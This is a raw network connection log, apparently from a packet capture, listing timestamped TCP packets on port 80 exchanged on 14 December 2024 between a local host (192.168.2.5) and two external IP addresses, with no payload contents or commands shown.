Dec 14, 2024 14:56:28.148781061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.148859978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.148902893 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.149888992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.149945974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.149972916 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.150134087 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.150979042 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.151021004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.151082993 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.151129961 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.152086973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.152192116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.152236938 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.153213978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.153261900 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.153321981 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.153364897 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.154339075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.154378891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.154473066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.154551029 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.155461073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.155513048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.155560970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.155596972 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.156536102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.156657934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.156686068 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.156722069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.157660961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.157794952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.157849073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.158756971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.158802032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.158862114 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.158900023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.159878016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.159926891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.159991026 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.160029888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.160998106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.161040068 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.161063910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.161077976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.162101030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.162213087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.162255049 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.163218021 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.163269043 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.163331985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.163374901 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.164335012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.164385080 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.164433956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.164495945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.165455103 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.165501118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.165553093 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.165591002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.172528028 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.244541883 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.244616032 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.244630098 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.247118950 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.247204065 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.247337103 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.252446890 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.252459049 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.252579927 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.257477999 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.257581949 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.257606030 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.262347937 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.262413979 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.262576103 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.267266035 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.267393112 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.267452955 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.272280931 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.272356033 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.272371054 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.277148962 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.277251959 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.277264118 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.282088041 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.282171011 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.282202959 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.287071943 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.287189960 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.287240982 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.292006969 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.292128086 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.292201042 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.296993017 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.297157049 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.297275066 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.300276995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.300344944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.300378084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.300517082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.300816059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.300960064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.301004887 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.301865101 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.301919937 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.301956892 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.301970005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.302004099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.302020073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.302052975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.303045988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.303086996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.303481102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.303565979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.303611040 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.304640055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.304658890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.304688931 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.304722071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.305653095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.305783987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.305830956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.306765079 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.306796074 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.306807995 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.306857109 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.306895018 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.306896925 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.307921886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.307997942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.308002949 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.308039904 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.308979988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.309024096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.309091091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.309149981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.310091972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.310136080 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.310218096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.310260057 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.311259985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.311278105 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.311345100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.311739922 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.311786890 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.311824083 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.312315941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.312359095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.312362909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.312403917 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.313445091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.313488007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.313654900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.313697100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.314552069 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.314665079 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.314711094 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.315736055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.315778017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.315800905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.315881014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.316709042 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.316822052 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.316834927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.316852093 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.316871881 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.316915989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.317940950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.317980051 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.318005085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.318054914 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.319041014 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.319248915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.319287062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.320117950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.320135117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.320158958 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.320189953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.321252108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.321300030 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.321352005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.321635008 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.321686029 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.321744919 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.321799994 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.322361946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.322455883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.322506905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.323442936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.323558092 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.323613882 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.324599028 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.324657917 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.324697971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.324821949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.325716019 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.325762987 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.325833082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.325992107 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.326575994 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.326685905 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.326791048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.326807976 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.326899052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.326920033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.326955080 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.327986956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.328031063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.328135014 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.328210115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.329026937 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.329071045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.329134941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.329174042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.330132008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.330176115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.330210924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.330255032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.331271887 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.331326962 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.331389904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.331435919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.331528902 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.331613064 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.332001925 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.332351923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.332396984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.332465887 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.332509995 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.333492041 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.333534956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.333606005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.333648920 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.334603071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.334650040 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.334738970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.334788084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.335752010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.335851908 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.335899115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.336833000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.336992979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.337039948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.337966919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.338026047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.338118076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.338174105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.339050055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.339097977 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.339138031 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.339175940 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.340200901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.340307951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.340353012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.341480017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.341569901 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.342309952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.342355013 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.342446089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.342485905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.342503071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.342550993 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.343512058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.343559027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.344137907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.344182968 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.344629049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.344677925 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.344738007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.344779968 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.345769882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.345814943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.345889091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.345928907 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.346848965 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.346904993 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.346956968 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.346997976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.347964048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.348011971 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.348047018 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.348087072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.349082947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.349128962 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.349189997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.349232912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.350271940 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.350313902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.350404024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.350445986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.351346016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.351453066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.351496935 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.352441072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.352499008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.352669954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.352715015 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.353568077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.353673935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.353724957 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.354823112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.355741024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.355765104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.355793953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.358261108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.358272076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.358282089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.358290911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.358321905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.358351946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.358855963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.358912945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.359021902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.359074116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.436783075 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.436810017 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.436850071 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.438921928 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.438977003 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.439130068 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.443166018 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.443247080 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.443347931 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.447432041 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.447560072 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.447630882 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.451612949 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.451757908 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.451886892 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.455615997 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.455730915 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.455878973 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.459481955 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.459603071 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.459709883 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.463397026 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.463491917 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.463541031 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.467056990 CET	80	49879	185.81.68.147	192.168.2.5
